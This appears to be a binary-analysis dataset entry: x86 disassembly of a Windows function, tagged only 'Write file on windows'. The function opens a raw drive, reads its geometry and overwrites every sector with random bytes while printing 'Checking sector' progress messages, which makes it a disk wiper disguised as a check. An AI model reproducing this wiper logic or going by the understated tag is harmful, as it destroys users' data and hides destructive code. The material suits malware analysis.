Function at 0x40155c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x106c
call fcn.00402870
sub esp, eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0xc0000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
jne 0x4015c8
mov dword [esp], str.Error:_Unable_to_access_the_drive.__n
call sym._printf
jmp 0x4017d7
mov dword [esp + 0x1c], 0
lea eax, [ebp - 0x4c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0x18
lea eax, [ebp - 0x48]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x70000
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call eax
sub esp, 0x20
test eax, eax
jne 0x401633
mov dword [esp], str.Error:_Unable_to_get_drive_geometry.__n
call sym._printf
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x4017d7
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x3c]
mov ebx, 0
mov edi, edx
imul edi, ecx
mov esi, ebx
imul esi, eax
add esi, edi
mul ecx
lea ecx, [esi + edx]
mov edx, ecx
mov ecx, dword [ebp - 0x38]
mov ebx, 0
mov edi, edx
imul edi, ecx
mov esi, ebx
imul esi, eax
add esi, edi
mul ecx
lea ecx, [esi + edx]
mov edx, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1058], 0
mov dword [ebp - 0x1054], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
jmp 0x4017b3
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
mov dword [esp], str.Checking_sector__lld_of__lld_n
call sym._printf
mov dword [ebp - 0x24], 0
jmp 0x4016f8
call sym._rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov ecx, eax
lea edx, [ebp - 0x1050]
mov eax, dword [ebp - 0x24]
add eax, edx
mov byte [eax], cl
add dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x24]
cmp eax, 0xfff
jbe 0x4016cd
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x1058]
mov edx, dword [ebp - 0x1054]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call eax
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x50]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1000
lea eax, [ebp - 0x1050]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
jne 0x401787
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
mov dword [esp], str.Error:_Unable_to_write_to_sector__lld_n
call sym._printf
jmp 0x4017c7
mov eax, dword [ebp - 0x1058]
mov edx, dword [ebp - 0x1054]
mov ecx, dword [ebp - 0x50]
mov ebx, 0
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x1058], eax
mov dword [ebp - 0x1054], edx
add dword [ebp - 0x20], 1
adc dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x30]
mov eax, edx
sbb eax, dword [ebp - 0x2c]
jb 0x40169c
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret